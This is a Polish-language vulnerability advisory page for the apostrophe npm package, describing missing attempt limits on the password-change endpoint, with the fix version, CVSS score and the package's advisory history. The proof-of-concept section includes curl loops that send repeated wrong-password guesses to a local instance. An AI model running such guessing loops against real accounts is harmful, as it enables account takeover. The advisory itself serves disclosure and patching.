ApostropheCMS: Brak ograniczania prób na uwierzytelnionym punkcie końcowym zmiany hasła umożliwia nieograniczone odgadywanie bieżącego hasła
Podsumowanie
Punkt końcowy samoobsługowej zmiany hasła weryfikuje bieżące hasło, jednak nie korzysta z mechanizmów licznika nieudanych prób, opóźnień, dławienia (throttling) ani blokady konta dostępnych w module logowania. Atakujący posiadający poprawną, uwierzytelnioną sesję może przesyłać wielokrotne próby odgadnięcia bieżącego hasła bez wywołania blokady czy ograniczenia zapytań.
Ścieżka w kodzie źródłowym
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
Ścieżka żądania zmiany hasła:
PATCH /api/v1/@apostrophecms/settings/password
Trasa wywołuje weryfikator hasła bezpośrednio przez:
await self.handleProtectedSubform(req, subform, req.body );
Ścieżka weryfikacji hasła:
packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) {
try {
await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
} catch (e) {
throw self.apos.error(
'forbidden',
'apostrophe:passwordCurrentError',
{ path: 'passwordCurrent' }
);
}
return subform;
}
Sam moduł weryfikujący nie inkrementuje pamięci podręcznej prób logowania ani nie wymusza opóźnienia:
packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
Dla porównania, trasa logowania jawnie wywołuje checkLoginAttempts i addLoginAttempt w:
packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Lokalny scenariusz PoC
Test przeprowadzono przy użyciu jednorazowej uwierzytelnionej sesji gościa:
Żądanie:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Odpowiednik polecenia:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Zaobserwowana odpowiedź: Wszystkie pięć prób zwróciło identyczną, natychmiastową odpowiedź walidacji:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {
"path": "passwordCurrent"
},
"message": "apostrophe:passwordCurrentError"
}
Zmierzone czasy odpowiedzi wynosiły w przybliżeniu:
- Próba 1: 231 ms
- Próba 2: 232 ms
- Próba 3: 226 ms
- Próba 4: 229 ms
- Próba 5: 226 ms
Żadna z prób nie zwróciła odpowiedzi dławiącej, komunikatu o blokadzie konta, nagłówka Retry-After ani błędu limitu zapytań.
seq 1 20 | xargs -P 20 -I{} sh -c \
"curl --max-time 15 -sS \
-o /tmp/password-attempt-{}.body \
-w '%{http_code}\\n' \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"
Wynik:
- 20 żądań ->
HTTP 403 Forbidden - 0 żądań ->
HTTP 429 Too Many Requests - 0 żądań -> odpowiedź z blokadą
Prawidłowe hasło nadal pozwalało na pomyślne uwierzytelnienie:
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK
Wpływ
Atakujący, który przejął lub uzyskał prawidłową uwierzytelnioną sesję, może wielokrotnie zgadywać bieżące hasło za pośrednictwem punktu końcowego zmiany hasła. Każda próba otrzymuje standardową odpowiedź, a trasa nie stosuje mechanizmów spowalniania ani blokady. Jeśli bieżące hasło jest słabe lub użyte ponownie w innych miejscach, atakujący może przejść weryfikację i zastąpić hasło do konta, co umożliwia mu późniejsze bezpośrednie logowanie. Podatność wymaga ważnej uwierzytelnionej sesji i nie może być wykorzystana anonimowo.
Co trzeba zrobić
Zaktualizuj pakiet apostrophe do wersji 4.33.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.33.0 | 4.33.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N- Słabość (CWE)
CWE-307- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 21:33
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-653j-g8j7-gh54 - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 27
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 8
- Średnia 13
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Brak ograniczania prób na uwierzytelnionym punkcie końcowym zmiany hasła umożliwia nieograniczone odgadywanie bieżącego hasła ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.